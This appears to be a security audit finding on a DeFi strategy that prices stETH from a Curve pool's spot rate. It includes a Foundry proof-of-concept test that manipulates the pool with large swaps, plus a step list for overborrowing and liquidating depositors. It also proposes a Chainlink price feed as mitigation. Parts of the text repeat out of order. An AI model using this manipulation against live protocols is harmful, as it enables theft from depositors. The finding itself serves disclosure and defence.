Considering that swap fees are 1BPS, the attack is profitable at very low TVL
// SPDX-License Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
interface ICurvePoolWeird {
function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
function remove_liquidity(uint256 _amount, uint256[2] memory _min_amounts) external returns (uint256[2] memory);
}
interface ICurvePool {
function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
function remove_liquidity(uint256 _amount, uint256[2] memory _min_amounts) external returns (uint256[2] memory);
function get_virtual_price() external view returns (uint256);
function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 _min_amount) external;
function get_dy(int128 i, int128 j, uint256 dx) external view returns (uint256);
function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external payable returns (uint256);
}
interface IERC20 {
function balanceOf(address) external view returns (uint256);
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
}
contract Swapper is Test {
ICurvePool pool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
uint256 TEN_MILLION_USD_AS_ETH = 5455e18; // Rule of thumb is 1BPS cost means we can use 5 Billion ETH and still be
function swapETH() external payable {
console2.log("value", msg.value);
console2.log("Initial Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
pool.exchange{value: msg.value}(0, 1, msg.value, 0); // Swap all yolo
// curveStEthPool.get_dy(1, 0, stEthBalance)
console2.log("Changed Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
}
function swapStEth() external {
console2.log("Initial Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
// Always approve exact ;)
uint256 amt = stETH.balanceOf(address(this));
stETH.approve(address(pool), stETH.balanceOf(address(this)));
pool.exchange(1, 0, amt, 0); // Swap all yolo
// curveStEthPool.get_dy(1, 0, stEthBalance)
console2.log("Changed Price", pool.get_dy(1, 0, TEN_MILLION_USD_AS_ETH));
}
receive() external payable {}
}
contract CompoundedStakesFuzz is Test {
Swapper c;
IERC20 token = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
function setUp() public {
c = new Swapper();
}
function testSwapETH() public {
deal(address(this), 100_000e18);
c.swapETH{value: 100_000e18}(); /// 100k ETH is enough to double the price
deal(address(this), 700_000e18);
c.swapETH{value: 700_000e18}(); /// 700k ETH is enough to double the price
}
function testSwapStEth() public {
vm.prank(0x1982b2F5814301d4e9a8b0201555376e62F82428); // AAVE stETH // Has 700k ETH, 100k is sufficient
token.transfer(address(c), 100_000e18);
c.swapStEth();
vm.prank(0x1982b2F5814301d4e9a8b0201555376e62F82428); // AAVE stETH // Another one for good measure
token.transfer(address(c), 600_000e18);
c.swapStEth();
}
}
Mitigation
Use the Chainlink stETH / ETH Price Feed or Ideally do not expose the strategy to any conversion, simply deposit and withdraw stETH directly to avoid any risk or attack in conversions
Lines of code
https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/lido/LidoEthStrategy.sol#L118-L125
Vulnerability details
The strategy is pricing stETH as ETH by asking the pool for it's return value
This is easily manipulatable by performing a swap big enough
https://github.com/Tapioca-DAO/tapioca-yieldbox-strategies-audit/blob/05ba7108a83c66dada98bc5bc75cf18004f2a49b/contracts/lido/LidoEthStrategy.sol#L118-L125
POC
Imbalance the Pool to overvalue the stETH
Overborrow and Make the Singularity Insolvent
Imbalance the Pool to undervalue the stETH
Liquidate all Depositors (at optimal premium since attacker can control the price change)
Coded POC
Logs
Considering that swap fees are 1BPS, the attack is profitable at very low TVL
Mitigation
Use the Chainlink stETH / ETH Price Feed or Ideally do not expose the strategy to any conversion, simply deposit and withdraw stETH directly to avoid any risk or attack in conversions
https://data.chain.link/arbitrum/mainnet/crypto-eth/steth-eth
https://data.chain.link/ethereum/mainnet/crypto-eth/steth-eth
Assessed type
Oracle